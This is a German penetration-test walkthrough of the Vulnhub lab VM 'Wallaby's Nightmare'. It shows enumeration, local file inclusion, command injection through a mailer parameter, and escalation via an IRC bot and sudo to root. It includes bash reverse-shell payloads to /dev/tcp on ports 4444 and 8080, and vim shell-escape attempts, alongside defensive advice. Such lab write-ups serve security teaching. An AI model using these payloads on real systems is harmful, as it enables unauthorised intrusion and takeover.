Wallaby's Nightmare - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
nikto
vi
cat
curl
gobuster
wfuzz
nc
find
ss
uname
sudo
vim
IRC Client (impliziert)
bash
whoami
cd
ls
id
pwd

Inhaltsverzeichnis

Reconnaissance

Analyse: Ein ARP-Scan wird im lokalen Netzwerk durchgeführt.
Bewertung: Das Zielsystem wird unter `192.168.2.139` identifiziert. Die MAC-Adresse (`08:00:27:9d:77:f8`) weist auf eine Oracle VirtualBox VM hin.
Empfehlung (Offensiv): Die IP für weitere Scans verwenden.
Empfehlung (Defensiv): Netzwerk-Monitoring kann helfen, solche Scans zu erkennen.

 ARP-Scan
192.168.2.139	08:00:27:9d:77:f8	PCS Systemtechnik GmbH
                    

Analyse: Nmap-Scan (`-sS -sV -A -T5 -p- -Pn --min-rate 5000`) wird ausgeführt und nach offenen Ports gefiltert.
Bewertung: Findet zwei offene Ports: 22 (SSH - OpenSSH 7.2p2) und 80 (HTTP - Apache 2.4.18). Port 6667 (IRC) ist gefiltert.
Empfehlung (Offensiv): Fokus auf SSH und HTTP. IRC im Hinterkopf behalten, falls die Firewall-Regel umgangen werden kann.
Empfehlung (Defensiv): Nicht benötigte Ports schließen. Apache und SSH aktualisieren.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.139 -p- | grep open
22/tcp   open     ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open     http    Apache httpd 2.4.18 ((Ubuntu))

Analyse: Die vollständige Nmap-Ausgabe wird angezeigt.
Bewertung: Bestätigt Port 22 (OpenSSH 7.2p2) und Port 80 (Apache 2.4.18). Beide Versionen sind veraltet. Der HTTP-Titel "Wallaby's Server" deutet auf das Thema der VM hin. Port 6667 (IRC) wird als gefiltert bestätigt. OS-Erkennung: Linux 3.X|4.X.
Empfehlung (Offensiv): Den Webserver auf Port 80 untersuchen. SSH für spätere Angriffe vormerken. Bekannte Schwachstellen für Apache 2.4.18 und OpenSSH 7.2p2 prüfen.
Empfehlung (Defensiv): Apache und OpenSSH dringend aktualisieren.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.139 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-29 20:31 CET
Nmap scan report for ubuntu (192.168.2.139)
Host is up (0.00013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 6e:07:fc:70:20:98:f8:46:e4:8d:2e:ca:39:22:c7:be (RSA)
|   256 99:46:05:e7:c2:ba:ce:06:c4:47:c8:4f:9f:58:4c:86 (ECDSA)
|_  256 4c:87:71:4f:af:1b:7c:35:49:ba:58:26:c1:df:b8:4f (ED25519)
80/tcp   open     http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Wallaby's Server
6667/tcp filtered irc
MAC Address: 08:00:27:9D:77:F8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.13 ms ubuntu (192.168.2.139)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.82 seconds

Analyse: Die IP `192.168.2.139` wird dem Hostnamen `nightmare.vln` in der lokalen `/etc/hosts`-Datei zugeordnet.
Bewertung: Erleichtert die Ansprache des Ziels. Der Hostname passt zum VM-Titel "Wallaby's Nightmare".

┌──(root㉿CCat)-[~]
└─# vi /etc/hosts
┌──(root㉿CCat)-[~]
└─# cat /etc/hosts
[...]
192.168.2.139   nightmare.vln
[...]

Web Enumeration (Port 80) & LFI

Analyse: Ein Nikto-Scan wird gegen Port 80 ausgeführt.
Bewertung: Nikto findet die üblichen Probleme (fehlende Header, ETag-Leak, veraltete Apache-Version) und `/icons/README`. Entscheidend ist jedoch der Fund: `/index.php?page=../../../../../../../../../../etc/passwd: The PHP-Nuke Rocket add-in is vulnerable to file traversal...`. Auch wenn die Zuordnung zu "PHP-Nuke" wahrscheinlich falsch ist, identifiziert Nikto korrekt eine Local File Inclusion (LFI)-Schwachstelle im `page`-Parameter von `index.php`. Der Scan bricht wegen zu vieler Fehler ab.
Empfehlung (Offensiv): Die LFI-Schwachstelle mit dem `page`-Parameter in `index.php` ausnutzen, um Systemdateien zu lesen.
Empfehlung (Defensiv): LFI durch korrekte Eingabevalidierung und Vermeidung direkter Inklusion von Benutzereingaben beheben. Apache aktualisieren.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.139
 
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.139
+ Target Hostname:    192.168.2.139
+ Target Port:        80
+ Start Time:         2023-11-29 20:31:56 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated [...].
+ /: Web Server returns a valid response with junk HTTP methods [...].
+ /index.php?page=../../../../../../../../../../etc/passwd: The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php).  <-- LFI Found!
+ /icons/README: Apache default file found. [...]
+ ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Transport endpoint is not connected
+ Scan terminated: 20 error(s) and 6 item(s) reported on remote host
+ End Time:           2023-11-29 20:32:04 (GMT1) (8 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Der Pentester versucht, die von Nikto identifizierte LFI auszunutzen, indem `http://nightmare.vln/index.php?page=../../../../../../../../../../etc/passwd` aufgerufen wird.
Bewertung: Die Seite zeigt nicht den Inhalt von `/etc/passwd`, sondern eine Nachricht, die sich direkt an "ben" (den Angreifer) richtet und erwähnt, dass sein Verhalten beobachtet wird. Dies bestätigt, dass die LFI funktioniert, aber der Output manipuliert oder gefiltert wird (Honeypot-Verhalten).
Empfehlung (Offensiv): Den Quelltext der zurückgegebenen Seite untersuchen. Möglicherweise ist der Inhalt von `/etc/passwd` im Quelltext versteckt (z.B. in HTML-Kommentaren).
Empfehlung (Defensiv): LFI beheben. Honeypots können Angreifer verlangsamen oder täuschen, sind aber keine Lösung für die zugrundeliegende Schwachstelle.

http://nightmare.vln/index.php?page=../../../../../../../../../../etc/passwd

What the heck is this? Some guy named ben is trying to penetrate my server? Loser must not know I'm the great Wallaby!

Let's observe him for now, maybe I could learn about him from his behavior.

Analyse: Der Quelltext der vorherigen Seite wird angezeigt.
Bewertung: Volltreffer! Der Quelltext enthält JavaScript-Code (eine Funktion namens `post`) und direkt darunter, eingebettet in einen HTML-Kommentar (``), den vollständigen Inhalt von `/etc/passwd`. Dies bestätigt die LFI und enthüllt die Benutzerliste. Relevante Benutzer mit Shell sind: `root`, `walfin`, `steven?`. Der Eintrag für `ircd` wird explizit als "dis-information" markiert.
Empfehlung (Offensiv): Die Benutzernamen `walfin` und `steven?` als Ziele für weitere Angriffe (SSH-Bruteforce, Default-Passwörter) verwenden. Andere interessante Dateien über LFI lesen (z.B. `/etc/shadow`, Webserver-Konfiguration, Anwendungs-Code).
Empfehlung (Defensiv): LFI beheben! Keine sensiblen Daten, auch nicht in Kommentaren, über Webserver exponieren.

view-source:http://nightmare.vln/index.php?page=../../../../../../../../../../etc/passwd


 Wallaby's Server
 
 
 
  What the heck is this? Some guy named ben is trying to penetrate my server? Loser must not know I'm the great Wallaby!

Let's observe him for now, maybe I could learn about him from his behavior.

Web Enumeration (Port 60080) & Command Injection

Analyse: Ein Nmap-Scan (vermutlich erneut gegen das Ziel, obwohl im Text eine andere IP steht - wird als Tippfehler interpretiert) findet einen weiteren offenen HTTP-Port: 60080.
Bewertung: Das Finden eines Webservers auf einem hohen, unüblichen Port ist ein wichtiger Hinweis. Oft werden hier Entwicklungs- oder weniger geschützte Anwendungen betrieben.
Empfehlung (Offensiv): Den Webserver auf Port 60080 genauso gründlich untersuchen wie den auf Port 80.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 $IP -p- | grep open
22/tcp    open     ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
60080/tcp open     http    Apache httpd 2.4.18 ((Ubuntu))

Analyse: Die LFI-Schwachstelle (`page=.../etc/passwd`) wird auf dem neuen Port 60080 getestet. Die Ausgabe wird nach `/bin/bash` gefiltert.
Bewertung: Die LFI funktioniert auch auf Port 60080 und liefert denselben `/etc/passwd`-Inhalt. Dies bestätigt die Benutzer `root`, `walfin`, `steven?` und `ircd` (als Desinformation markiert).
Empfehlung (Offensiv): Beide Webserver scheinen auf denselben Code oder eine ähnliche Konfiguration zuzugreifen. Die LFI ist auf beiden Ports nutzbar.
Empfehlung (Defensiv): LFI auf *allen* Webserver-Instanzen beheben.

┌──(root㉿cyber)-[~]
└─# curl http://nightmare.vln:60080/index.php?page=../../../../../../../../../../etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
walfin:x:1000:1000:walfin,,,:/home/walfin:/bin/bash
steven?:x:1001:1001::/home/steven?:/bin/bash
ircd:x:1003:1003:,,,:/home/ircd:/bin/bash

Analyse: Gobuster wird zur Verzeichnissuche auf Port 60080 verwendet.
Bewertung: Findet `index.php`, `/javascript/` (Redirect), `sec.png` und `eye.jpg`. Keine offensichtlichen Angriffsvektoren hier.
Empfehlung (Offensiv): Die Bilder herunterladen und analysieren. Die `index.php` auf Port 60080 genauer untersuchen (via LFI oder nach Quellcode suchen).

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://nightmare.vln:60080 -x [...] -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
===============================================================
Gobuster v3.5
[...]
===============================================================
[+] Url:                     http://nightmare.vln:60080
[...]
===============================================================
2023/11/29 20:35:01 Starting gobuster in directory enumeration mode
===============================================================
http://nightmare.vln:60080/index.php            (Status: 200) [Size: 1143]
http://nightmare.vln:60080/javascript           (Status: 301) [Size: 328] [--> http://nightmare.vln:60080/javascript/]
http://nightmare.vln:60080/sec.png              (Status: 200) [Size: 57626]
http://nightmare.vln:60080/eye.jpg              (Status: 200) [Size: 15953]
===============================================================
2023/11/29 20:36:10 Finished
===============================================

Analyse: Der Quellcode der Startseite auf Port 60080 enthält einen Kommentar.
Bewertung: Der Kommentar ("HLY MLY, this guy ben...") ist eine weitere direkte Nachricht an den Pentester und bestätigt, dass der Portwechsel absichtlich zur Verschleierung ("security by obscurity") erfolgte.
Empfehlung (Offensiv): Bestätigt, dass Port 60080 das Hauptziel sein sollte. Die Interaktion mit dem VM-Autor zur Kenntnis nehmen.

HLY MLY, this guy ben wants me...
Glad I moved to a different port so
I could work more securely!!!

As we all know, security by obscurity
is the way to go...

Analyse: `wfuzz` wird verwendet, um den `page`-Parameter auf Port 60080 zu fuzzen (ähnlich LFI-Test, aber Suche nach gültigen Seiten).
Bewertung: Findet die gültigen Seiten `home`, `index`, `'` (führt zu Fehler/Änderung), `mailer`, `blacklist`. Die gleichen Seiten wie auf Port 80 (abzüglich `contact`, `name`).
Empfehlung (Offensiv): Die Seite `mailer` ist wegen potenzieller Command Injection am interessantesten.

┌──(root㉿cyber)-[~]
└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://nightmare.vln:60080/index.php?page=FUZZ" --hc 404 --hh 895
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://nightmare.vln:60080/index.php?page=FUZZ
[...]
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000025:   200        30 L     115 W      1143 Ch     "home"
000000002:   200        38 L     150 W      1358 Ch     "index"
000002011:   200        38 L     157 W      1739 Ch     "'"
000003062:   200        29 L     102 W      1081 Ch     "mailer"
000004498:   200        27 L     106 W      990 Ch      "blacklist"
[...]

Analyse: Die Seiten `mailer` und `blacklist` werden auf Port 60080 aufgerufen.
Bewertung: Gleiches Ergebnis wie auf Port 80: `mailer` ist "Coming Soon", `blacklist` enthält eine Nachricht an "ben".
Empfehlung (Offensiv): Da `mailer` existiert, den `mail`-Parameter auf Command Injection testen.

http://nightmare.vln:60080/index.php?page=mailer
Coming Soon guys!

http://nightmare.vln:60080/index.php?page=blacklist

Ban is on for
You are S predictable ben :D. Won't get the machine like this,
I can see your every move! And your IP :D

Analyse: `wfuzz` wird verwendet, um den `mail`-Parameter auf der `mailer`-Seite (Port 60080) mit einer Wortliste zu fuzzen, um potenzielle Command Injection zu finden.
Bewertung: Der Fuzzer ist extrem erfolgreich! Viele Standard-Linux-Befehle (`info`, `users`, `id`, `ls`, `ps`, `netstat`, `ifconfig`, `who`, etc.) führen zu einer validen Antwort (HTTP 200) mit abweichender Größe, was auf erfolgreiche Befehlsausführung hindeutet.
Ergebnis: Command Injection im `mail`-Parameter auf `index.php?page=mailer` bestätigt.
Empfehlung (Offensiv): Die Command Injection nutzen, um das System weiter zu enumerieren (Benutzer auflisten, Verzeichnisse lesen) und eine Reverse Shell zu erlangen.
Empfehlung (Defensiv): Command Injection durch Validierung und Sanitisierung aller Benutzereingaben verhindern. Niemals Benutzereingaben direkt an Systembefehle übergeben. Parametrisierte Abfragen oder sichere APIs verwenden.

┌──(root㉿cyber)-[~]
└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://nightmare.vln:60080/index.php?page=mailer&mail=FUZZ" --hc 404 --hh 1081,1165
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://nightmare.vln:60080/index.php?page=mailer&mail=FUZZ
[...]
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000072:   200        218 L    1293 W     12317 Ch    "info"
000000189:   200        30 L     103 W      1087 Ch     "users"
000000203:   200        30 L     109 W      1157 Ch     "dir"
[...]
000000516:   200        30 L     105 W      1135 Ch     "id"
[...]
000003086:   200        35 L     108 W      1146 Ch     "ls"
[...]
000009249:   200        31 L     114 W      1176 Ch     "size"
[...]
000011351:   200        38 L     111 W      1366 Ch     "env"
[...]
000013695:   200        30 L     102 W      1082 Ch     "echo"
[...]

Analyse: Die Command Injection wird genutzt, um Befehle auszuführen: `mail=users`, `mail=id`, `mail=ls /home`, `mail=ls /home/waldo`, `mail=ls /var/www/html`, `mail=cat /var/www/html/index.php`.
Bewertung: Die Befehle bestätigen:

Die komplexe Filterlogik und die `s13!...`-Datei sind wichtige Funde.
Empfehlung (Offensiv): Die Command Injection weiter nutzen, um eine Reverse Shell zu etablieren. Die IRC-Dateien bei `waldo` und das `s13!...`-Verzeichnis könnten später relevant sein.
Empfehlung (Defensiv): Command Injection beheben! Komplexe, selbstgeschriebene Filterlogik ist fehleranfällig.

view-source:http://nightmare.vln:60080/index.php?page=mailer&mail=users
waldo

view-source:http://nightmare.vln:60080/index.php?page=mailer&mail=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

view-source:http://nightmare.vln:60080/index.php?page=mailer&mail=ls%20/home
ircd
waldo
wallaby

view-source:http://nightmare.vln:60080/index.php?page=mailer&mail=ls%20/home/waldo/
irssi.sh
Unreal3.2.10.4
Unreal3.2.10.4.tar.gz

view-source:http://nightmare.vln:60080/index.php?page=mailer&mail=ls%20/var/www/html
a.out
eye.jpg
index.php
s13!34g$3FVA5e@ed
sec.png
typescript
uname.txt

view-source:http://nightmare.vln:60080/index.php?page=mailer&mail=cat%20/var/www/html/index.php

Initial Access (Reverse Shell via Command Injection)

Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet. Über die Command Injection (`mail`-Parameter) wird ein Bash-Reverse-Shell-Payload ausgeführt.
Bewertung: Die Verbindung kommt erfolgreich auf dem Listener an. Der Angreifer erhält eine Shell als Benutzer `www-data`.
Ergebnis: Erfolgreicher Initial Access über Command Injection.
Empfehlung (Offensiv): Shell stabilisieren und mit der Privilegieneskalation beginnen.
Empfehlung (Defensiv): Command Injection beheben. Egress-Filtering implementieren.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
Payload = view-source:http://nightmare.vln:60080/index.php?page=mailer&mail=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
┌──(root㉿cyber)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.106] 58332 
bash: cannot set terminal process group (779): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html$

Privilege Escalation (Enumeration als www-data)

Analyse: Als `www-data` werden SUID-Dateien gesucht.
Bewertung: Die Liste enthält `/lib/uncompress.so` mit SUID-Bit (ungewöhnlich, potenzielle Schwachstelle aus älteren Exploits), sowie Standard-Binaries (`su`, `ping`, `mount`, `passwd`, `sudo`). `/usr/bin/sudo` ist vorhanden.
Empfehlung (Offensiv): `sudo -l` ausführen, um die Berechtigungen von `www-data` zu prüfen. `/lib/uncompress.so` untersuchen.
Empfehlung (Defensiv): Unnötige SUID-Bits entfernen (`chmod u-s /lib/uncompress.so`). System aktuell halten.

www-data@ubuntu:/var/www/html$ find / -perm -4000 -ls 2>/dev/null
   402791     48 -rwSr--r--   1 root     root        45456 Jan  9  2016 /lib/uncompress.so <-- Unusual
  1048668     40 -rwsr-xr-x   1 root     root        40128 Mar 29  2016 /bin/su
  1048652     44 -rwsr-xr-x   1 root     root        44680 May  7  2014 /bin/ping6
  1048637     40 -rwsr-xr-x   1 root     root        40152 May 26  2016 /bin/mount
  1048651     44 -rwsr-xr-x   1 root     root        44168 May  7  2014 /bin/ping
  1048829    140 -rwsr-xr-x   1 root     root       142032 Feb 17  2016 /bin/ntfs-3g
  1048686     28 -rwsr-xr-x   1 root     root        27608 May 26  2016 /bin/umount
  1048622     32 -rwsr-xr-x   1 root     root        30800 Jul 12  2016 /bin/fusermount
    13174    420 -rwsr-xr-x   1 root     root       428240 Aug 11  2016 /usr/lib/openssh/ssh-keysign
      365     12 -rwsr-xr-x   1 root     root        10240 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
     4008     44 -rwsr-xr--   1 root     messagebus    42992 Oct 12  2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
     4431     12 -rwsr-xr-x   1 root     root          10624 Apr 15  2016 /usr/bin/vmware-user-suid-wrapper
      105     76 -rwsr-xr-x   1 root     root          75304 Mar 29  2016 /usr/bin/gpasswd
      241    136 -rwsr-xr-x   1 root     root         136808 Aug 17  2016 /usr/bin/sudo
       42     52 -rwsr-xr-x   1 root     root          49584 Mar 29  2016 /usr/bin/chfn
      169     40 -rwsr-xr-x   1 root     root          39904 Mar 29  2016 /usr/bin/newgrp
      180     56 -rwsr-xr-x   1 root     root          54256 Mar 29  2016 /usr/bin/passwd
       44     40 -rwsr-xr-x   1 root     root          40432 Mar 29  2016 /usr/bin/chsh

Analyse: `/etc/passwd` wird überprüft (normal). Netzwerk-Sockets (`ss -altpn`) zeigen die bekannten Ports 3306 (MySQL lokal), 6667 (IRC lokal), 22 (SSH), 60080 (HTTP). Das Verzeichnis `s13!...` wird untersucht, enthält PHP-Dateien der Whitelist. `uname -a` zeigt den Kernel (4.4.0-31). `sudo -l` wird ausgeführt.
Bewertung: Die Enumeration bestätigt frühere Funde. Die Untersuchung des `s13!...`-Verzeichnisses liefert keine direkten neuen Angriffspunkte. Die Ausgabe von `sudo -l` ist der entscheidende Schritt: `www-data` darf `/usr/bin/vim /etc/apache2/sites-available/000-default.conf` als Benutzer `waldo` ohne Passwort ausführen und `/sbin/iptables` als `ALL` ohne Passwort.
Empfehlung (Offensiv): Die `sudo vim`-Regel ausnutzen, um als Benutzer `waldo` Befehle auszuführen oder eine Shell zu erhalten. Die `iptables`-Regel ist weniger nützlich für direkte Eskalation, könnte aber zum Umgehen von Firewalls dienen.
Empfehlung (Defensiv): `sudo`-Regeln überprüfen. Insbesondere das Bearbeiten von Konfigurationsdateien mit Editoren wie `vim` über `sudo` ist gefährlich, da diese oft Shell-Escapes ermöglichen. `NOPASSWD` sparsam verwenden.

www-data@ubuntu:/var/www/html$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1668 Dec 16  2016 /etc/passwd
www-data@ubuntu:/var/www/html$ ss -altpn
State      Recv-Q Send-Q Local Address:Port               Peer Address:Port
LISTEN     0      80     127.0.0.1:3306                     *:*
LISTEN     0      5            *:6667                     *:*
LISTEN     0      128          *:22                       *:*
LISTEN     0      128         :::60080                   :::*
LISTEN     0      128         :::22                      :::*
www-data@ubuntu:/var/www/html$ cd s13\!34g\$3FVA5e\@ed/
www-data@ubuntu:/var/www/html/s13!34g$3FVA5e@ed$ ls -la
total 44
drwxr-xr-x 2 root     root     4096 Dec 27  2016 .
drwxr-xr-x 3 www-data www-data 4096 Nov 29 14:43 ..
-rw-r--r-- 1 root     root      339 Dec 27  2016 althome.php
-rw-r--r-- 1 root     root      698 Dec 27  2016 blacklist.php
-rw-r--r-- 1 root     root       78 Dec 16  2016 contact.php
-rw-r--r-- 1 root     root      371 Dec 16  2016 first_visit.php
-rw-r--r-- 1 root     root      379 Dec 16  2016 home.php
-rw-r--r-- 1 root     root     1350 Dec 27  2016 honeypot.php
-rw-r--r-- 1 root     root      213 Dec 15  2016 index.php
-rw-r--r-- 1 root     root      461 Dec 16  2016 mailer.php
-rw-r--r-- 1 root     root      667 Dec 16  2016 welcome.php
www-data@ubuntu:/var/www/html/s13!34g$3FVA5e@ed$ uname -a
Linux ubuntu 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
www-data@ubuntu:/var/www/html/s13!34g$3FVA5e@ed$ sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User www-data may run the following commands on ubuntu:
    (waldo) NPASSWD: /usr/bin/vim /etc/apache2/sites-available/000-default.conf
    (ALL) NPASSWD: /sbin/iptables

Analyse: Verschiedene Versuche, die `sudo vim`-Regel auszunutzen, um eine Shell als `waldo` zu erhalten: `sudo -u waldo vim ...` mit `:!/bin/sh`, `vim -c ':!/bin/sh'` (ohne sudo), `/usr/bin/vim --cmd ':set shell=/bin/sh|:shell'` (ohne sudo).
Bewertung: Der erste Versuch (`sudo -u waldo...`) scheitert mit `!sh: not found`, was darauf hindeutet, dass die Shell-Umgebung innerhalb von `sudo vim` eingeschränkt ist oder `/bin/sh` nicht direkt aufgerufen werden kann. Die anderen Versuche ohne `sudo` sind irrelevant, da sie nur eine Shell als `www-data` starten würden.
Ergebnis: Der direkte Shell-Escape aus `sudo vim` als `waldo` scheint hier nicht trivial zu funktionieren.
Empfehlung (Offensiv): Andere Methoden zum Missbrauch der `sudo vim`-Berechtigung prüfen (z.B. Schreiben in `waldo`'s `.bashrc` oder SSH `authorized_keys` über vim). Alternativ: den Fokus auf den IRC-Hinweis legen.

sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf
:!/bin/sh
/bin/sh: 1: !sh: not found  
Press ENTER or type command to continue
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
www-data@ubuntu:/tmp$ vim -c ':!/bin/sh'
www-data@ubuntu:/tmp$ /usr/bin/vim --cmd ':set shell=/bin/sh|:shell'

Privilege Escalation (IRC Bot zu 'wallaby')

Analyse: Der Bericht beschreibt einen komplexen Satz von Aktionen, die auf eine Interaktion mit einem IRC-Bot hindeuten, der in einer `tmux`-Sitzung läuft, wahrscheinlich vom Benutzer `waldo` gestartet (basierend auf den Dateien in `/home/waldo`). Die Schritte sind:

  1. `tmux attach` (um die laufende Sitzung zu übernehmen)
  2. `/exit` (um den ursprünglichen Benutzer `waldo` aus dem IRC zu werfen)
  3. `/nick waldo` (um den Nickname zu übernehmen)
  4. Chat mit `wallabysbot`: `.run whoami` (um zu testen, als welcher User der Bot Befehle ausführt - Ergebnis: `wallaby`)
  5. Chat mit `wallabysbot`: `.run bash -c "bash -i >& /dev/tcp/[AngreiferIP]/8080 0>&1"` (um eine Reverse Shell als `wallaby` zu starten)
Bewertung: Dies ist ein sehr spezifischer und ungewöhnlicher Eskalationspfad, der auf einer Fehlkonfiguration oder einem Feature des IRC-Bots basiert. Der Bot führt anscheinend Befehle als Benutzer `wallaby` aus, wenn der anfragende Benutzer den Nickname `waldo` hat.
Empfehlung (Offensiv): Diesen Pfad folgen, um eine Shell als `wallaby` zu erhalten.
Empfehlung (Defensiv): IRC-Bots und andere automatisierte Systeme sollten niemals Befehle von unauthentifizierten oder leicht imitierbaren Benutzern entgegennehmen und ausführen. Bots sollten mit minimalen Rechten laufen. Laufende Prozesse und `tmux`/`screen`-Sitzungen überwachen.

1. “tmux attach”
2. /exit
    * waldo has quit (Quit: leaving)

In hexchat (oder anderem IRC Client):

1. /nick waldo
    * You are now known as waldo

2. Go to wallabysbot window and chat with the bot, you can now run .run whoami
     .run whoami
     b'wallaby'

    .run bash -c "bash -i >& /dev/tcp/192.168.2.199/8080 0>&1" 

Analyse: Ein Netcat-Listener wird auf Port 8080 gestartet. Nach Ausführung des `.run bash -c ...`-Befehls im IRC geht eine Verbindung ein.
Bewertung: Die Reverse Shell ist erfolgreich. Der Angreifer hat nun eine Shell als Benutzer `wallaby`.
Ergebnis: Erfolgreiche Privilegieneskalation von `www-data` (implizit, da von dort aus `tmux attach` möglich sein müsste) zu `wallaby`.
Empfehlung (Offensiv): Rechte des Benutzers `wallaby` prüfen (`sudo -l`).

┌──(root㉿cyber)-[~]
└─# nc -nvlp 8080
listening on [any] 8080 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.156] 48748 
bash: cannot set terminal process group (637): Inappropriate ioctl for device
bash: no job control in this shell
wallaby@ubuntu$

Privilege Escalation (Sudo zu 'root')

Analyse: Als Benutzer `wallaby` wird `sudo -l` ausgeführt.
Bewertung: Das Ergebnis `(ALL) NPASSWD: ALL` zeigt, dass `wallaby` volle, uneingeschränkte `sudo`-Rechte ohne Passworteingabe hat.
Empfehlung (Offensiv): `sudo su` oder `sudo /bin/bash` ausführen, um Root zu werden.
Empfehlung (Defensiv): Niemals `(ALL) NPASSWD: ALL` vergeben, außer für absolut vertrauenswürdige Admin-Konten, und selbst dann ist `NOPASSWD` riskant. Prinzip der geringsten Rechte anwenden.

wallaby@ubuntu$ sudo -l
Matching Defaults entries for wallaby on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User wallaby may run the following commands on ubuntu:
    (ALL) NPASSWD: ALL

Analyse: Der Befehl `sudo su` wird ausgeführt. Anschließend wird das `/root`-Verzeichnis aufgelistet und `flag.txt` gelesen.
Bewertung: `sudo su` gewährt sofortigen Root-Zugriff. Die Root-Flag wird erfolgreich ausgelesen.
Ergebnis: Finale Privilegieneskalation zu Root erfolgreich.
Empfehlung (Offensiv): Ziel erreicht.
Empfehlung (Defensiv): `sudo`-Regeln korrigieren.

wallaby@ubuntu$ sudo su
root@ubuntu:/home/wallaby# whoami
root
root@ubuntu:/home/wallaby# cd /root
root@ubuntu:~# ls -al
total 48
drwx------  4 root root 4096 Dec 27 19:31 .
drwxr-xr-x 22 root root 4096 Dec 14 19:24 ..
drwxr-xr-x  2 root root 4096 Dec 27 11:27 backups
-rw-------  1 root root    1 Dec 27 12:26 .bash_history
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
-rwxr-xr-x  1 root root  510 Dec 27 19:31 check_level.sh
-rw-r--r--  1 root root  342 Dec 16 16:52 flag.txt
-rw-------  1 root root   18 Dec 15 13:03 .mysql_history
drwxr-xr-x  2 root root 4096 Dec 15 13:10 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   66 Dec 15 17:50 .selected_editor
-rw-------  1 root root  214 Dec 16 17:09 .wget-hsts
root@ubuntu:~# cat flag.txt
#CONGRATULATIONS#

Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.

Proof of Concept (LFI)

Schwachstelle: Local File Inclusion (LFI) im `page`-Parameter der `index.php` auf Port 80 und 60080. Der PHP-Code inkludiert den Wert des Parameters, wahrscheinlich nach Anhängen von `.php`, aber ohne ausreichende Validierung oder Sanitisierung, was das Einschleusen von Path Traversal (`../`) ermöglicht. Ein Filter verhindert zwar die direkte Anzeige von `/etc/passwd`, bettet sie aber in HTML-Kommentare ein.
Ziel des POC: Nachweis, dass durch Manipulation des `page`-Parameters beliebige lokale Dateien (hier `/etc/passwd`) gelesen werden können.
Voraussetzungen: Zugriff auf den Webserver auf Port 80 oder 60080.

Schritt 1: Identifizierung durch Nikto/Wfuzz

Analyse: Nikto (`-h 192.168.2.139`) meldete die potenzielle LFI im `page`-Parameter. Wfuzz (`wfuzz ... -u "http://.../index.php?page=FUZZ"`) bestätigte, dass der Parameter existiert und auf bestimmte Werte (`home`, `index`, `mailer`, `blacklist`) reagiert.

Schritt 2: Ausnutzung und Umgehung des Filters

